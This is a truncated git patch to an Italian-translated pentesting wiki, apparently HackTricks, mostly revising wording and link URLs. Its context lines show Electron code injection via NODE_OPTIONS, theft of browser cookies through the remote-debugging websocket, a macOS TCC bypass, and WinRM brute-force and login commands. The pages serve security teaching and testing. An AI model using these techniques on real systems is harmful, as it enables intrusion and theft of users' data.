From d29205633b07c6a002281f8e95aaa29ea172d0e7 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 11 Jan 2025 18:53:37 +0000 Subject: [PATCH] Translated ['src/macos-hardening/macos-security-and-privilege-escalation --- src/SUMMARY.md | 8 +-- .../macos-electron-applications-injection.md | 32 +++++----- .../113-pentesting-ident.md | 6 +- .../137-138-139-pentesting-netbios.md | 12 ++-- ...21-1522-1529-pentesting-oracle-listener.md | 14 ++--- .../README.md | 16 ++--- .../43-pentesting-whois.md | 6 +- .../5439-pentesting-redshift.md | 4 +- .../5985-5986-pentesting-winrm.md | 18 +++--- .../nfs-service-pentesting.md | 6 +- .../pentesting-dns.md | 12 ++-- .../pentesting-ftp/README.md | 18 +++--- .../pentesting-imap.md | 12 ++-- .../pentesting-kerberos-88/README.md | 2 +- .../pentesting-ldap.md | 18 +++--- .../README.md | 14 ++--- .../pentesting-mysql.md | 6 +- .../pentesting-ntp.md | 4 +- .../pentesting-pop.md | 4 +- .../pentesting-rdp.md | 8 +-- .../pentesting-rpcbind.md | 12 ++-- .../pentesting-smb.md | 42 ++++++------- .../pentesting-smb/README.md | 24 ++++---- .../pentesting-smtp/README.md | 58 +++++++++--------- .../pentesting-snmp/README.md | 28 ++++----- .../pentesting-telnet.md | 6 +- .../pentesting-web/README.md | 42 ++++++------- .../pentesting-web/angular.md | 54 ++++++++--------- .../pentesting-web/buckets/README.md | 2 +- .../buckets/firebase-database.md | 4 +- src/pentesting-web/file-upload/README.md | 18 +++--- .../oauth-to-account-takeover.md | 44 +++++++------- .../other-js-tricks.md | 12 ++-- src/todo/cookies-policy.md | 12 ++-- src/welcome/hacktricks-values-and-faq.md | 34 +++++------ .../active-directory-methodology/README.md | 60 +++++++++---------- .../lateral-movement/README.md | 6 +- 37 files changed, 340 insertions(+), 338 deletions(-) diff --git a/src/SUMMARY.md b/src/SUMMARY.md index fb3efcc74..60a9a9df7 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -289,7 +289,7 @@ - [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md) - [WinRM](windows-hardening/lateral-movement/winrm.md) - [WmiExec](windows-hardening/lateral-movement/wmiexec.md) -- [Pivoting to the Cloud$$external:https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements$$]() +- [Pivoting to the Cloud$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/index.html$$]() - [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md) - [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md) - [Mimikatz](windows-hardening/stealing-credentials/credentials-mimikatz.md) @@ -692,9 +692,9 @@ # ⛈️ Cloud Security -- [Pentesting Kubernetes$$external:https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security$$]() -- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology$$]() -- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.xyz/pentesting-ci-cd/pentesting-ci-cd-methodology$$]() +- [Pentesting Kubernetes$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/index.html$$]() +- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/pentesting-cloud-methodology.html$$]() +- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.wiki/en/pentesting-ci-cd/pentesting-ci-cd-methodology.html$$]() # 😎 Hardware/Physical Access diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md index 6850f6c82..62d078eb8 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -4,22 +4,22 @@ ## Informazioni di Base -Se non sai cos'è Electron, puoi trovare [**molte informazioni qui**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Ma per ora sappi solo che Electron esegue **node**.\ +Se non sai cos'è Electron, puoi trovare [**molte informazioni qui**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation). Ma per ora sappi solo che Electron esegue **node**.\ E node ha alcuni **parametri** e **variabili d'ambiente** che possono essere utilizzati per **far eseguire altro codice** oltre al file indicato. ### Fusi di Electron -Queste tecniche saranno discusse in seguito, ma recentemente Electron ha aggiunto diversi **flag di sicurezza per prevenirle**. Questi sono i [**Fusi di Electron**](https://www.electronjs.org/docs/latest/tutorial/fuses) e questi sono quelli usati per **prevenire** che le app Electron su macOS **carichino codice arbitrario**: +Queste tecniche saranno discusse in seguito, ma recentemente Electron ha aggiunto diversi **flag di sicurezza per prevenirle**. Questi sono i [**Fusi di Electron**](https://www.electronjs.org/docs/latest/tutorial/fuses) e questi sono quelli utilizzati per **prevenire** che le app Electron su macOS **carichino codice arbitrario**: - **`RunAsNode`**: Se disabilitato, impedisce l'uso della variabile d'ambiente **`ELECTRON_RUN_AS_NODE`** per iniettare codice. -- **`EnableNodeCliInspectArguments`**: Se disabilitato, parametri come `--inspect`, `--inspect-brk` non saranno rispettati. Evitando in questo modo di iniettare codice. +- **`EnableNodeCliInspectArguments`**: Se disabilitato, parametri come `--inspect`, `--inspect-brk` non saranno rispettati. Evitando in questo modo l'iniezione di codice. - **`EnableEmbeddedAsarIntegrityValidation`**: Se abilitato, il **file** **`asar`** caricato sarà **validato** da macOS. **Prevenendo** in questo modo **l'iniezione di codice** modificando i contenuti di questo file. - **`OnlyLoadAppFromAsar`**: Se questo è abilitato, invece di cercare di caricare nell'ordine seguente: **`app.asar`**, **`app`** e infine **`default_app.asar`**. Controllerà e utilizzerà solo app.asar, garantendo così che quando è **combinato** con il fuso **`embeddedAsarIntegrityValidation`** sia **impossibile** **caricare codice non validato**. - **`LoadBrowserProcessSpecificV8Snapshot`**: Se abilitato, il processo del browser utilizza il file chiamato `browser_v8_context_snapshot.bin` per il suo snapshot V8. Un altro fuso interessante che non impedirà l'iniezione di codice è: -- **EnableCookieEncryption**: Se abilitato, il cookie store su disco è crittografato utilizzando chiavi crittografiche a livello di OS. +- **EnableCookieEncryption**: Se abilitato, il negozio di cookie su disco è crittografato utilizzando chiavi crittografiche a livello di OS. ### Controllare i Fusi di Electron @@ -37,20 +37,20 @@ EnableEmbeddedAsarIntegrityValidation is Enabled OnlyLoadAppFromAsar is Enabled LoadBrowserProcessSpecificV8Snapshot is Disabled ``` -### Modifica delle Fuses di Electron +### Modificare i Fuses di Electron -Come menzionato nella [**documentazione**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), la configurazione delle **Fuses di Electron** è configurata all'interno del **binario di Electron** che contiene da qualche parte la stringa **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**. +Come menzionato nella [**documentazione**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), la configurazione dei **Fuses di Electron** è configurata all'interno del **binario di Electron** che contiene da qualche parte la stringa **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**. Nelle applicazioni macOS, questo si trova tipicamente in `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework` ```bash grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches ``` -Puoi caricare questo file in [https://hexed.it/](https://hexed.it/) e cercare la stringa precedente. Dopo questa stringa puoi vedere in ASCII un numero "0" o "1" che indica se ciascun fusibile è disabilitato o abilitato. Modifica semplicemente il codice esadecimale (`0x30` è `0` e `0x31` è `1`) per **modificare i valori dei fusibili**. +Puoi caricare questo file in [https://hexed.it/](https://hexed.it/) e cercare la stringa precedente. Dopo questa stringa puoi vedere in ASCII un numero "0" o "1" che indica se ogni fusibile è disabilitato o abilitato. Modifica semplicemente il codice esadecimale (`0x30` è `0` e `0x31` è `1`) per **modificare i valori dei fusibili**.
-Nota che se provi a **sovrascrivere** il **`Electron Framework`** binario all'interno di un'applicazione con questi byte modificati, l'app non verrà eseguita. +Nota che se provi a **sovrascrivere** il **`Electron Framework` binary** all'interno di un'applicazione con questi byte modificati, l'app non verrà eseguita. ## RCE aggiungendo codice alle Applicazioni Electron @@ -64,7 +64,7 @@ Potrebbero esserci **file JS/HTML esterni** che un'app Electron sta utilizzando, > > Rendendo questo percorso di attacco più complicato (o impossibile). -Nota che è possibile eludere il requisito di **`kTCCServiceSystemPolicyAppBundles`** copiando l'applicazione in un'altra directory (come **`/tmp`**), rinominando la cartella **`app.app/Contents`** in **`app.app/NotCon`**, **modificando** il file **asar** con il tuo codice **maligno**, rinominandolo di nuovo in **`app.app/Contents`** ed eseguendolo. +Nota che è possibile bypassare il requisito di **`kTCCServiceSystemPolicyAppBundles`** copiando l'applicazione in un'altra directory (come **`/tmp`**), rinominando la cartella **`app.app/Contents`** in **`app.app/NotCon`**, **modificando** il file **asar** con il tuo codice **maligno**, rinominandolo di nuovo in **`app.app/Contents`** ed eseguendolo. Puoi estrarre il codice dal file asar con: ```bash @@ -123,11 +123,11 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord ``` > [!CAUTION] -> Se il fusibile **`EnableNodeOptionsEnvironmentVariable`** è **disabilitato**, l'app **ignorerà** la variabile d'ambiente **NODE_OPTIONS** quando viene avviata, a meno che la variabile d'ambiente **`ELECTRON_RUN_AS_NODE`** non sia impostata, che sarà anch'essa **ignorata** se il fusibile **`RunAsNode`** è disabilitato. +> Se il fuse **`EnableNodeOptionsEnvironmentVariable`** è **disabilitato**, l'app **ignorerà** la variabile d'ambiente **NODE_OPTIONS** quando viene avviata, a meno che la variabile d'ambiente **`ELECTRON_RUN_AS_NODE`** non sia impostata, che sarà anch'essa **ignorata** se il fuse **`RunAsNode`** è disabilitato. > > Se non imposti **`ELECTRON_RUN_AS_NODE`**, troverai l'**errore**: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.` -### Iniezione dal Plist dell'App +### Injection dal Plist dell'App Potresti abusare di questa variabile d'ambiente in un plist per mantenere la persistenza aggiungendo queste chiavi: ```xml @@ -155,9 +155,9 @@ Ad esempio: require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator') ``` > [!CAUTION] -> Se il fuse **`EnableNodeCliInspectArguments`** è disabilitato, l'app **ignorerà i parametri node** (come `--inspect`) quando viene avviata, a meno che la variabile env **`ELECTRON_RUN_AS_NODE`** non sia impostata, che sarà anch'essa **ignorata** se il fuse **`RunAsNode`** è disabilitato. +> Se il fuse **`EnableNodeCliInspectArguments`** è disabilitato, l'app **ignorerà i parametri node** (come `--inspect`) quando viene avviata, a meno che la variabile di ambiente **`ELECTRON_RUN_AS_NODE`** non sia impostata, che sarà anch'essa **ignorata** se il fuse **`RunAsNode`** è disabilitato. > -> Tuttavia, puoi comunque utilizzare il **parametro electron `--remote-debugging-port=9229`** ma il payload precedente non funzionerà per eseguire altri processi. +> Tuttavia, puoi ancora utilizzare il **parametro electron `--remote-debugging-port=9229`**, ma il payload precedente non funzionerà per eseguire altri processi. Utilizzando il parametro **`--remote-debugging-port=9222`** è possibile rubare alcune informazioni dall'App Electron come la **cronologia** (con comandi GET) o i **cookie** del browser (poiché sono **decrittati** all'interno del browser e c'è un **endpoint json** che li fornirà). @@ -169,7 +169,7 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}') print(ws.recv() ``` -In [**questo post del blog**](https://hackerone.com/reports/1274695), questo debugging è abusato per far sì che un chrome headless **scarichi file arbitrari in posizioni arbitrarie**. +In [**questo blogpost**](https://hackerone.com/reports/1274695), questo debugging viene abusato per far sì che un chrome headless **scarichi file arbitrari in posizioni arbitrarie**. ### Iniezione dal Plist dell'App @@ -187,12 +187,12 @@ Potresti abusare di questa variabile d'ambiente in un plist per mantenere la per ``` -## Bypass TCC abusando di versioni precedenti +## TCC Bypass abusando di versioni precedenti > [!TIP] > Il demone TCC di macOS non controlla la versione eseguita dell'applicazione. Quindi, se **non puoi iniettare codice in un'applicazione Electron** con nessuna delle tecniche precedenti, potresti scaricare una versione precedente dell'APP e iniettare codice su di essa poiché otterrà comunque i privilegi TCC (a meno che il Trust Cache non lo impedisca). -## Esegui codice non JS +## Eseguire codice non JS Le tecniche precedenti ti permetteranno di eseguire **codice JS all'interno del processo dell'applicazione electron**. Tuttavia, ricorda che i **processi figli vengono eseguiti sotto lo stesso profilo sandbox** dell'applicazione padre e **erediteranno i loro permessi TCC**.\ Pertanto, se desideri abusare dei diritti per accedere alla fotocamera o al microfono, ad esempio, potresti semplicemente **eseguire un altro binario dal processo**. diff --git a/src/network-services-pentesting/113-pentesting-ident.md b/src/network-services-pentesting/113-pentesting-ident.md index 9c34f6754..e8974e8e2 100644 --- a/src/network-services-pentesting/113-pentesting-ident.md +++ b/src/network-services-pentesting/113-pentesting-ident.md @@ -62,11 +62,11 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum ) - `oident` -## File +## Files identd.conf -## Comandi Automatici HackTricks +## HackTricks Comandi Automatici ``` Protocol_Name: Ident #Protocol Abbreviation if there is one. Port_Number: 113 #Comma separated if there is more than one. @@ -78,7 +78,7 @@ Description: Notes for Ident Note: | The Ident Protocol is used over the Internet to associate a TCP connection with a specific user. Originally designed to aid in network management and security, it operates by allowing a server to query a client on port 113 to request information about the user of a particular TCP connection. -https://book.hacktricks.xyz/pentesting/113-pentesting-ident +https://book.hacktricks.wiki/en/network-services-pentesting/113-pentesting-ident.html Entry_2: Name: Enum Users diff --git a/src/network-services-pentesting/137-138-139-pentesting-netbios.md b/src/network-services-pentesting/137-138-139-pentesting-netbios.md index e60f01c90..4f82b3e10 100644 --- a/src/network-services-pentesting/137-138-139-pentesting-netbios.md +++ b/src/network-services-pentesting/137-138-139-pentesting-netbios.md @@ -14,7 +14,7 @@ ### Servizio Nome -Affinché un dispositivo partecipi a una rete NetBIOS, deve avere un nome unico. Questo viene realizzato attraverso un **processo di broadcast** in cui viene inviato un pacchetto "Name Query". Se non si ricevono obiezioni, il nome è considerato disponibile. In alternativa, un **server di Servizio Nome** può essere interrogato direttamente per controllare la disponibilità del nome o per risolvere un nome in un indirizzo IP. Strumenti come `nmblookup`, `nbtscan` e `nmap` vengono utilizzati per enumerare i servizi NetBIOS, rivelando nomi dei server e indirizzi MAC. +Affinché un dispositivo partecipi a una rete NetBIOS, deve avere un nome unico. Questo viene realizzato attraverso un **processo di broadcast** in cui viene inviato un pacchetto "Name Query". Se non si ricevono obiezioni, il nome è considerato disponibile. In alternativa, è possibile interrogare direttamente un **server del Servizio Nome** per controllare la disponibilità del nome o per risolvere un nome in un indirizzo IP. Strumenti come `nmblookup`, `nbtscan` e `nmap` vengono utilizzati per enumerare i servizi NetBIOS, rivelando nomi dei server e indirizzi MAC. ```bash PORT STATE SERVICE VERSION 137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP) @@ -32,18 +32,18 @@ I datagrammi NetBIOS consentono comunicazioni senza connessione tramite UDP, sup PORT STATE SERVICE VERSION 138/udp open|filtered netbios-dgm ``` -### Servizio di Sessione +### Session Service -Per interazioni orientate alla connessione, il **Servizio di Sessione** facilita una conversazione tra due dispositivi, sfruttando le connessioni **TCP** attraverso la porta **139/tcp**. Una sessione inizia con un pacchetto "Richiesta di Sessione" e può essere stabilita in base alla risposta. Il servizio supporta messaggi più grandi, rilevamento degli errori e recupero, con TCP che gestisce il controllo del flusso e la ritrasmissione dei pacchetti. +Per interazioni orientate alla connessione, il **Session Service** facilita una conversazione tra due dispositivi, sfruttando le connessioni **TCP** attraverso la porta **139/tcp**. Una sessione inizia con un pacchetto "Session Request" e può essere stabilita in base alla risposta. Il servizio supporta messaggi più grandi, rilevamento degli errori e recupero, con TCP che gestisce il controllo del flusso e la ritrasmissione dei pacchetti. -La trasmissione dei dati all'interno di una sessione coinvolge pacchetti **Messaggio di Sessione**, con le sessioni che vengono terminate chiudendo la connessione TCP. +La trasmissione dei dati all'interno di una sessione coinvolge pacchetti **Session Message**, con le sessioni che vengono terminate chiudendo la connessione TCP. Questi servizi sono integrali per la funzionalità di **NetBIOS**, consentendo una comunicazione efficiente e la condivisione delle risorse attraverso una rete. Per ulteriori informazioni sui protocolli TCP e IP, fare riferimento alle rispettive pagine [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) e [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol). ```bash PORT STATE SERVICE VERSION 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` -**Leggi la pagina successiva per imparare a enumerare questo servizio:** +**Leggi la pagina successiva per imparare come enumerare questo servizio:** {{#ref}} 137-138-139-pentesting-netbios.md @@ -65,7 +65,7 @@ Session service for connection-oriented communication (port: 139/tcp). For a device to participate in a NetBIOS network, it must have a unique name. This is achieved through a broadcast process where a "Name Query" packet is sent. If no objections are received, the name is considered available. Alternatively, a Name Service server can be queried directly to check for name availability or to resolve a name to an IP address. -https://book.hacktricks.xyz/pentesting/137-138-139-pentesting-netbios +https://book.hacktricks.wiki/en/network-services-pentesting/137-138-139-pentesting-netbios.html Entry_2: Name: Find Names diff --git a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md index cb5b23ff8..6d1f50728 100644 --- a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md +++ b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md @@ -13,11 +13,11 @@ Quando si enumera Oracle, il primo passo è comunicare con il TNS-Listener che d ``` ## Riepilogo -1. **Version Enumeration**: Identificare le informazioni sulla versione per cercare vulnerabilità note. -2. **TNS Listener Bruteforce**: A volte necessario per stabilire comunicazione. -3. **SID Name Enumeration/Bruteforce**: Scoprire i nomi dei database (SID). -4. **Credential Bruteforce**: Tentare di accedere al SID scoperto. -5. **Code Execution**: Tentare di eseguire codice sul sistema. +1. **Enumerazione della Versione**: Identificare le informazioni sulla versione per cercare vulnerabilità note. +2. **Bruteforce del TNS Listener**: A volte necessario per stabilire comunicazione. +3. **Enumerazione/Bruteforce del Nome SID**: Scoprire i nomi dei database (SID). +4. **Bruteforce delle Credenziali**: Tentare di accedere al SID scoperto. +5. **Esecuzione di Codice**: Tentare di eseguire codice sul sistema. Per utilizzare i moduli oracle di MSF è necessario installare alcune dipendenze: [**Installazione**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md) @@ -30,7 +30,7 @@ Controlla questi post: - [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/) - [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html) -## HackTricks Comandi Automatici +## Comandi Automatici HackTricks ``` Protocol_Name: Oracle #Protocol Abbreviation if there is one. Port_Number: 1521 #Comma separated if there is more than one. @@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/ for more details check https://github.com/quentinhardy/odat/wiki -https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener +https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html Entry_2: Name: Nmap diff --git a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md index 851f6af49..8ff365c2d 100644 --- a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md +++ b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md @@ -13,13 +13,13 @@ Quando si enumera Oracle, il primo passo è comunicare con il TNS-Listener che d ``` ## Riepilogo -1. **Enumerazione della Versione**: Identificare le informazioni sulla versione per cercare vulnerabilità note. -2. **Bruteforce del TNS Listener**: A volte necessario per stabilire comunicazione. -3. **Enumerazione/Bruteforce del Nome SID**: Scoprire i nomi dei database (SID). -4. **Bruteforce delle Credenziali**: Tentare di accedere al SID scoperto. -5. **Esecuzione di Codice**: Tentare di eseguire codice sul sistema. +1. **Version Enumeration**: Identificare le informazioni sulla versione per cercare vulnerabilità note. +2. **TNS Listener Bruteforce**: A volte necessario per stabilire comunicazione. +3. **SID Name Enumeration/Bruteforce**: Scoprire i nomi dei database (SID). +4. **Credential Bruteforce**: Tentare di accedere al SID scoperto. +5. **Code Execution**: Tentare di eseguire codice sul sistema. -Per utilizzare i moduli oracle di MSF è necessario installare alcune dipendenze: [**Installazione**](oracle-pentesting-requirements-installation.md) +Per utilizzare i moduli MSF oracle è necessario installare alcune dipendenze: [**Installazione**](oracle-pentesting-requirements-installation.md) ## Post @@ -30,7 +30,7 @@ Controlla questi post: - [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/) - [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html) -## Comandi Automatici HackTricks +## HackTricks Comandi Automatici ``` Protocol_Name: Oracle #Protocol Abbreviation if there is one. Port_Number: 1521 #Comma separated if there is more than one. @@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/ for more details check https://github.com/quentinhardy/odat/wiki -https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener +https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html Entry_2: Name: Nmap diff --git a/src/network-services-pentesting/43-pentesting-whois.md b/src/network-services-pentesting/43-pentesting-whois.md index 103fb1f2d..ce3e60781 100644 --- a/src/network-services-pentesting/43-pentesting-whois.md +++ b/src/network-services-pentesting/43-pentesting-whois.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -## Informazioni di Base +## Informazioni di base Il protocollo **WHOIS** funge da metodo standard per **richiedere informazioni sui registranti o detentori di varie risorse Internet** attraverso specifiche banche dati. Queste risorse comprendono nomi di dominio, blocchi di indirizzi IP e sistemi autonomi, tra gli altri. Oltre a questi, il protocollo trova applicazione nell'accesso a uno spettro più ampio di informazioni. @@ -28,7 +28,7 @@ Inoltre, il servizio WHOIS deve sempre utilizzare un **database** per memorizzar - `port:43 whois` -## HackTricks Comandi Automatici +## HackTricks Automatic Commands ``` Protocol_Name: WHOIS #Protocol Abbreviation if there is one. Port_Number: 43 #Comma separated if there is more than one. @@ -41,7 +41,7 @@ Note: | The WHOIS protocol serves as a standard method for inquiring about the registrants or holders of various Internet resources through specific databases. These resources encompass domain names, blocks of IP addresses, and autonomous systems, among others. Beyond these, the protocol finds application in accessing a broader spectrum of information. -https://book.hacktricks.xyz/pentesting/pentesting-smtp +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html Entry_2: Name: Banner Grab diff --git a/src/network-services-pentesting/5439-pentesting-redshift.md b/src/network-services-pentesting/5439-pentesting-redshift.md index 3084f0b32..e0d083918 100644 --- a/src/network-services-pentesting/5439-pentesting-redshift.md +++ b/src/network-services-pentesting/5439-pentesting-redshift.md @@ -4,12 +4,12 @@ ## Informazioni di base -Questa porta è utilizzata da **Redshift** per funzionare. È fondamentalmente una variazione di **PostgreSQL** su AWS. +Questa porta è utilizzata da **Redshift** per funzionare. È fondamentalmente una variazione di **PostgreSQL** di AWS. Per ulteriori informazioni controlla: {{#ref}} -https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum +https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.html {{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/5985-5986-pentesting-winrm.md b/src/network-services-pentesting/5985-5986-pentesting-winrm.md index 8d171ccbc..f74e047ac 100644 --- a/src/network-services-pentesting/5985-5986-pentesting-winrm.md +++ b/src/network-services-pentesting/5985-5986-pentesting-winrm.md @@ -20,7 +20,7 @@ Per configurare PowerShell per WinRM, il cmdlet `Enable-PSRemoting` di Microsoft Enable-PSRemoting -Force Set-Item wsman:\localhost\client\trustedhosts * ``` -Questo approccio prevede l'aggiunta di un carattere jolly alla configurazione `trustedhosts`, un passaggio che richiede un'attenta considerazione a causa delle sue implicazioni. Si nota anche che potrebbe essere necessario modificare il tipo di rete da "Pubblica" a "Lavoro" sulla macchina dell'attaccante. +Questo approccio prevede l'aggiunta di un carattere jolly alla configurazione `trustedhosts`, un passaggio che richiede un'attenta considerazione a causa delle sue implicazioni. Si nota inoltre che potrebbe essere necessario modificare il tipo di rete da "Pubblica" a "Lavoro" sulla macchina dell'attaccante. Inoltre, WinRM può essere **attivato remotamente** utilizzando il comando `wmic`, come dimostrato di seguito: ```powershell @@ -30,17 +30,17 @@ Questo metodo consente la configurazione remota di WinRM, migliorando la flessib ### Verifica se configurato -Per verificare la configurazione della tua macchina di attacco, viene utilizzato il comando `Test-WSMan` per controllare se il target ha WinRM configurato correttamente. Eseguendo questo comando, dovresti aspettarti di ricevere dettagli riguardanti la versione del protocollo e wsmid, indicando una configurazione riuscita. Di seguito sono riportati esempi che dimostrano l'output atteso per un target configurato rispetto a uno non configurato: +Per verificare la configurazione della tua macchina di attacco, il comando `Test-WSMan` viene utilizzato per controllare se il target ha WinRM configurato correttamente. Eseguendo questo comando, dovresti aspettarti di ricevere dettagli riguardanti la versione del protocollo e wsmid, indicando una configurazione riuscita. Di seguito sono riportati esempi che dimostrano l'output atteso per un target configurato rispetto a uno non configurato: - Per un target che **è** configurato correttamente, l'output apparirà simile a questo: ```bash Test-WSMan ``` -La risposta dovrebbe contenere informazioni sulla versione del protocollo e wsmid, a significare che WinRM è configurato correttamente. +La risposta dovrebbe contenere informazioni sulla versione del protocollo e wsmid, che significano che WinRM è configurato correttamente. ![](<../images/image (582).png>) -- Al contrario, per un obiettivo **non** configurato per WinRM, ciò risulterebbe in nessuna informazione dettagliata, evidenziando l'assenza di una corretta configurazione di WinRM. +- Al contrario, per un obiettivo **non** configurato per WinRM, ciò comporterebbe l'assenza di informazioni dettagliate, evidenziando l'assenza di una corretta configurazione di WinRM. ![](<../images/image (458).png>) @@ -66,7 +66,7 @@ Invoke-Command -ComputerName -ScriptBlock {cmd /c "powershell -ep ``` ### Ottieni una sessione PS -Per ottenere una shell interattiva di PowerShell usa `Enter-PSSession`: +Per ottenere una shell PowerShell interattiva usa `Enter-PSSession`: ```powershell #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force @@ -115,7 +115,7 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1 Se trovi il seguente errore: -`enter-pssession : Impossibile connettersi al server remoto 10.10.10.175 con il seguente messaggio di errore : Il client WinRM non può elaborare la richiesta. Se lo schema di autenticazione è diverso da Kerberos, o se il computer client non è unito a un dominio, allora deve essere utilizzato il trasporto HTTPS oppure la macchina di destinazione deve essere aggiunta all'impostazione di configurazione TrustedHosts. Usa winrm.cmd per configurare TrustedHosts. Tieni presente che i computer nell'elenco TrustedHosts potrebbero non essere autenticati. Puoi ottenere ulteriori informazioni eseguendo il seguente comando: winrm help config. Per ulteriori informazioni, vedere l'argomento di aiuto about_Remote_Troubleshooting.` +`enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.` Il tentativo sul client (info da [qui](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)): ```ruby @@ -126,7 +126,7 @@ winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}' ### Forza Bruta -Fai attenzione, forzare winrm potrebbe bloccare gli utenti. +Fai attenzione, la forza bruta su winrm potrebbe bloccare gli utenti. ```ruby #Brute force crackmapexec winrm -d -u usernames.txt -p passwords.txt @@ -142,7 +142,7 @@ crackmapexec winrm -d -u -H -X '$PSVersionT ```ruby gem install evil-winrm ``` -Leggi la **documentazione** sul suo github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm) +Leggi **documentazione** su github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm) ```ruby evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i / ``` @@ -254,7 +254,7 @@ s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret')) print(s.run_cmd('ipconfig')) print(s.run_ps('ipconfig')) -https://book.hacktricks.xyz/pentesting/pentesting-winrm +https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html Entry_2: Name: Hydra Brute Force diff --git a/src/network-services-pentesting/nfs-service-pentesting.md b/src/network-services-pentesting/nfs-service-pentesting.md index 4d4e40c52..f71c55964 100644 --- 